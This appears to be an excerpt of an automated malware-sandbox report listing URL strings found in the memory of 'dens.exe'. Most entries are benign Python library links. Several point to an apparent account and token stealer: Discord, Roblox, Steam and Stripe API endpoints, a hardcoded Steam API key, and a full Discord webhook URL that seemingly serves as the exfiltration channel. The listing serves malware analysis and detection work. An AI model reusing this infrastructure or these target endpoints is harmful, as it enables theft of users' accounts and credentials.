Source: dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2065840067.000002D9AC830000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/IPlayerService/GetSteamLevel/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&s
Source: dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=440D7F4D810EF9298D25EDDF37C1F9
Source: dens.exe, 00000001.00000003.2028962685.000002D9ACB74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.stripe.com/v
Source: dens.exe, 00000000.00000003.1677230307.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD6B000.00000004.00000020.00020000.00000000.sdmp, METADATA15.0.dr	String found in binary or memory: https://backportstarfile.readthedocs.io/en/latest/?badge=latest
Source: dens.exe, 00000000.00000003.1676683442.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://badge.fury.io/py/autocommand)
Source: dens.exe, 00000000.00000003.1676683442.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://badge.fury.io/py/autocommand.svg)
Source: dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD6B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr, METADATA15.0.dr, METADATA.0.dr	String found in binary or memory: https://blog.jaraco.com/skeleton
Source: dens.exe, 00000001.00000003.2052987876.000002D9AB1F2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2065625241.000002D9AC640000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2060619384.000002D9AB1F6000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2045707437.000002D9AB1EF000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039709379.000002D9AB1E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue37179
Source: dens.exe, 00000001.00000002.2062310780.000002D9AB6B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue44497.
Source: dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/avatars/
Source: dens.exe, 00000001.00000003.2028056493.000002D9AD0C3000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2028962685.000002D9ACB74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/avatars/$
Source: powershell.exe, 00000052.00000002.1892866312.00000217AEF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000052.00000002.1892866312.00000217AEF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000052.00000002.1892866312.00000217AEF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: dens.exe, 00000000.00000003.1667512860.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io
Source: dens.exe, 00000000.00000003.1667512860.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io/
Source: dens.exe, 00000000.00000003.1667512860.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io/en/latest/changelog/
Source: dens.exe, 00000001.00000002.2068229135.00007FFDFA867000.00000002.00000001.01000000.00000026.sdmp	String found in binary or memory: https://cryptography.io/en/latest/faq/#why-can-t-i-import-my-pem-file
Source: dens.exe, 00000000.00000003.1667512860.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io/en/latest/installation/
Source: dens.exe, 00000000.00000003.1667512860.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io/en/latest/security/
Source: dens.exe, 00000001.00000003.2028962685.000002D9ACB74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v
Source: dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v8/users/
Source: dens.exe, 00000001.00000003.2046330120.000002D9AB511000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2028227051.000002D9AB4D8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040430331.000002D9ABFF3000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2037448253.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2061882117.000002D9AB512000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2028056493.000002D9AD0C3000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2033951676.000002D9AB510000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2028962685.000002D9ACB74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/store/skus/$
Source: dens.exe, 00000001.00000003.2028056493.000002D9AD0C3000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2028962685.000002D9ACB74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: dens.exe, 00000001.00000003.2028056493.000002D9AD0C3000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2038212780.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2054186252.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040430331.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1295868334612418591/QuvcFisisSeqgiaaEigFghTgy3B5fdld_JRxA14GVrqmyyg
Source: dens.exe, 00000001.00000003.2028227051.000002D9AB4D8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040430331.000002D9ABFF3000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2037448253.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2033864513.000002D9AB513000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2028056493.000002D9AD0C3000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2028962685.000002D9ACB74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.gift/
Source: dens.exe, 00000001.00000003.2028962685.000002D9ACB74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v
Source: dens.exe, 00000001.00000003.2052987876.000002D9AB1F2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2065625241.000002D9AC640000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2060619384.000002D9AB1F6000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2045707437.000002D9AB1EF000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039709379.000002D9AB1E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.aiohttp.org/en/stable/client_advanced.html#proxy-support
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-profile/customizi
Source: dens.exe, 00000001.00000003.1703254242.000002D9AAE13000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1701312245.000002D9AB206000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1701761331.000002D9AAE13000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2042804568.000002D9AADFE000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039084149.000002D9AADB8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2041785184.000002D9AADEF000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2049463815.000002D9AAE14000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039859652.000002D9AADEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: dens.exe, 00000001.00000003.2041072267.000002D9AB1FB000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039709379.000002D9AB1E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/howto/mro.html
Source: dens.exe, 00000001.00000003.1694726619.000002D9AAA0A000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2057356883.000002D9AA84C000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1694886208.000002D9AAA0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/howto/mro.html.
Source: dens.exe, 00000000.00000003.1676683442.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/argparse.html#description
Source: dens.exe, 00000000.00000003.1676683442.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/argparse.html#epilog
Source: dens.exe, 00000001.00000002.2063237923.000002D9ABD20000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2041072267.000002D9AB1FB000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2060656664.000002D9AB1FE000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039709379.000002D9AB1E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/asyncio-eventloop.html
Source: dens.exe, 00000001.00000002.2057356883.000002D9AA7D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename
Source: dens.exe, 00000001.00000002.2057356883.000002D9AA84C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code
Source: dens.exe, 00000001.00000002.2057356883.000002D9AA84C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
Source: dens.exe, 00000001.00000002.2057356883.000002D9AA84C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: dens.exe, 00000001.00000002.2057356883.000002D9AA7D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: dens.exe, 00000001.00000002.2058377253.000002D9AAB70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: dens.exe, 00000001.00000002.2058377253.000002D9AAB70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: dens.exe, 00000001.00000002.2057356883.000002D9AA84C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: dens.exe, 00000001.00000003.2040028581.000002D9A8F05000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2038808296.000002D9A8EE8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2057290070.000002D9A8F18000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1693574713.000002D9A8F19000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039627706.000002D9A8EF4000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2056310875.000002D9A8F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#module-importlib.resources
Source: dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.metadata.html
Source: dens.exe, 00000001.00000002.2058007362.000002D9AA9DC000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2041163716.000002D9AA9CE000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2048626589.000002D9AA9D4000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1698481560.000002D9AA9C5000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039766959.000002D9AA9C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/multiprocessing.html
Source: dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/reference/import.html#finders-and-loaders
Source: dens.exe, 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://economy.roblox.com/v1/users/
Source: dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://economy.roblox.com/v1/users/P
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filepreviews.io/
Source: dens.exe, 00000000.00000003.1676624069.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fsf.org/
Source: svchost.exe, 00000034.00000003.1792575862.000001DE906C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.52.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 00000034.00000003.1792575862.000001DE90656000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.52.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000034.00000003.1792575862.000001DE906C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.52.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 00000034.00000003.1792575862.000001DE906A3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1792575862.000001DE906E8000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1792575862.000001DE906C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.52.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000034.00000003.1792575862.000001DE906C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: dens.exe, 00000001.00000003.1701168036.000002D9AB275000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2062310780.000002D9AB6B0000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1701312245.000002D9AB275000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1702755471.000002D9AB26D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gist.github.com/lyssdod/f51579ae8d93c8657a5564aefc2ffbca
Source: dens.exe, 00000000.00000003.1676683442.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Lucretiel/autocommand
Source: dens.exe, 00000000.00000003.1676683442.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Lucretiel/autocommand/issues
Source: METADATA.0.dr	String found in binary or memory: https://github.com/Lucretiel/autocommand/issues/18
Source: powershell.exe, 00000052.00000002.1892866312.00000217AEE7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000052.00000002.1892866312.00000217AECF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000052.00000002.1892866312.00000217AD7D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pesterp
Source: dens.exe, 00000001.00000003.1694605237.000002D9AA95C000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1694358511.000002D9AA95C000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040028581.000002D9A8F05000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2038808296.000002D9A8EE8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039627706.000002D9A8EF4000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2057589696.000002D9AA930000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2057253439.000002D9A8F06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: dens.exe, 00000001.00000003.2052987876.000002D9AB1F2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2065625241.000002D9AC640000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2060619384.000002D9AB1F6000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2045707437.000002D9AB1EF000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039709379.000002D9AB1E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/aio-libs/aiohttp/discussions/6044
Source: dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD6B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr, METADATA15.0.dr, METADATA.0.dr	String found in binary or memory: https://github.com/astral-sh/ruff
Source: dens.exe, 00000000.00000003.1677230307.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD6B000.00000004.00000020.00020000.00000000.sdmp, METADATA15.0.dr	String found in binary or memory: https://github.com/jaraco/backports.tarfile
Source: dens.exe, 00000000.00000003.1677230307.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD6B000.00000004.00000020.00020000.00000000.sdmp, METADATA15.0.dr	String found in binary or memory: https://github.com/jaraco/backports.tarfile/actions/workflows/main.yml/badge.svg
Source: dens.exe, 00000000.00000003.1677230307.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD6B000.00000004.00000020.00020000.00000000.sdmp, METADATA15.0.dr	String found in binary or memory: https://github.com/jaraco/backports.tarfile/actions?query=workflow%3A%22tests%22
Source: dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/jaraco/inflect
Source: dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/jaraco/inflect/actions/workflows/main.yml/badge.svg
Source: dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/jaraco/inflect/actions?query=workflow%3A%22tests%22
Source: METADATA.0.dr	String found in binary or memory: https://github.com/jaraco/jaraco.context
Source: METADATA.0.dr	String found in binary or memory: https://github.com/jaraco/jaraco.context/actions/workflows/main.yml/badge.svg
Source: METADATA.0.dr	String found in binary or memory: https://github.com/jaraco/jaraco.context/actions?query=workflow%3A%22tests%22
Source: METADATA0.0.dr	String found in binary or memory: https://github.com/jaraco/jaraco.functools
Source: METADATA0.0.dr	String found in binary or memory: https://github.com/jaraco/jaraco.functools/actions/workflows/main.yml/badge.svg
Source: METADATA0.0.dr	String found in binary or memory: https://github.com/jaraco/jaraco.functools/actions?query=workflow%3A%22tests%22
Source: dens.exe, 00000001.00000002.2062310780.000002D9AB6B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/jaraco/jaraco.functools/issues/5
Source: METADATA.0.dr	String found in binary or memory: https://github.com/jaraco/keyring/commit/a85a7cbc6c909f8121660ed1f7b487f99a1c2bf7
Source: dens.exe, 00000001.00000002.2062625021.000002D9AB8C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/platformdirs/platformdirs
Source: dens.exe, 00000000.00000003.1667512860.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography
Source: dens.exe, 00000000.00000003.1667512860.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/
Source: dens.exe, 00000000.00000003.1667512860.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/actions?query=workflow%3ACI
Source: dens.exe, 00000000.00000003.1667512860.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2066236732.000002D9AC930000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2068229135.00007FFDFA867000.00000002.00000001.01000000.00000026.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues
Source: dens.exe, 00000001.00000002.2068229135.00007FFDFA867000.00000002.00000001.01000000.00000026.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues/8996
Source: dens.exe, 00000001.00000002.2068229135.00007FFDFA867000.00000002.00000001.01000000.00000026.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues/9253
Source: dens.exe, 00000000.00000003.1667512860.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/workflows/CI/badge.svg?branch=main
Source: METADATA14.0.dr	String found in binary or memory: https://github.com/pypa/.github/blob/main/CODE_OF_CONDUCT.md
Source: dens.exe, 00000001.00000002.2062310780.000002D9AB6B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/packaging
Source: dens.exe, 00000001.00000002.2062222294.000002D9AB5A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/setuptools/issues/1024.
Source: dens.exe, 00000001.00000002.2060074446.000002D9AAF70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/setuptools/issues/417#issuecomment-392298401
Source: dens.exe, 00000001.00000002.2060074446.000002D9AAF70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/setuptools/issues/new?template=distutils-deprecation.yml
Source: METADATA14.0.dr	String found in binary or memory: https://github.com/pypa/wheel
Source: METADATA14.0.dr	String found in binary or memory: https://github.com/pypa/wheel/issues
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666868851.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666805611.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs)
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666868851.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666805611.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/blob/main/.github/CONTRIBUTING.md)
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666868851.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666805611.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1328)
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666868851.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666805611.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1329)
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666868851.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666805611.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1330)
Source: dens.exe, 00000001.00000003.2041072267.000002D9AB1FB000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039709379.000002D9AB1E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/136
Source: dens.exe, 00000001.00000003.2047858320.000002D9AADF0000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039084149.000002D9AADB8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2041785184.000002D9AADEF000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2044813767.000002D9AADF0000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2059506844.000002D9AADF0000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039859652.000002D9AADEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/251
Source: dens.exe, 00000001.00000003.2041072267.000002D9AB1FB000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039709379.000002D9AB1E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/428
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666868851.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666805611.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/wiki/Extensions-to-attrs)
Source: dens.exe, 00000001.00000002.2057356883.000002D9AA7D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
